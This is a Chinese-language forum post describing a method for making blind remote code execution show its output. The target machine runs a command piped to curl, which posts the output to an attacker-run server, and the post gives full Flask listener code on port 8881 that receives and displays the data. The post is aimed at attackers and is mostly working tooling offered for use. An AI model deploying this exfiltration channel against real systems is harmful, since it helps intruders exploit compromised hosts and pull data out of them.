|
1.漏洞背景
在网络安全领域,远程代码执行(RCE)漏洞始终是一个引人关注的话题。这类漏洞允许攻击者在目标系统上执行任意代码,往往会带来严重的安全后果。其中,无回显RCE是特别难以诊断和利用的一种情况,因为攻击者无法直接看到他们执行命令的结果。
通过此方法将这种无回显的漏洞转变为可回显,这意味着攻击者可以直接观察到他们的操作结果。这一转变大大提高了这类漏洞的利用效率和潜在影响。
使用方法:
1. 服务端安装python,执行pip install flask。
2. 运行server.py
3. 访问公网域名+8881查看是否开启。
4. 靶机执行命令:
- <p>id | curl -X POST -d @- http://ip:8881/</p>
复制代码
查看回显。
ps:回显前提是靶机出网。
关键代码展示:
- <p>from flask import Flask, request, render_template</p><p>
- </p><p>app = Flask(__name__)</p><p>
- </p><p># 设置一个文件来保存数据</p><p>DATA_FILE = 'data.txt'</p><p>
- </p><p>@app.route('/', methods=['GET', 'POST'])</p><p>def execute():</p><p> if request.method == 'POST':</p><p> # 从 POST 请求中读取数据并保存到文件</p><p> with open(DATA_FILE, 'w') as file:</p><p> file.write(request.get_data(as_text=True))</p><p>
- </p><p> # 从文件中读取数据</p><p> data = ''</p><p> try:</p><p> with open(DATA_FILE, 'r') as file:</p><p> data = file.read()</p><p> except FileNotFoundError:</p><p> # 如果文件不存在,则忽略错误</p><p> pass</p><p>
- </p><p> # 打印接收到的数据到控制台</p><p> print("Received data:", data)</p><p> res = "结果为:" + data</p><p>
- </p><p> # 返回一个包含接收到的数据的 HTML 页面</p><p> return render_template('result.html', received_data=res)</p><p>
- </p><p>if __name__ == '__main__':</p><p> app.run(host='0.0.0.0', port=8881)</p><div></div>
复制代码
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|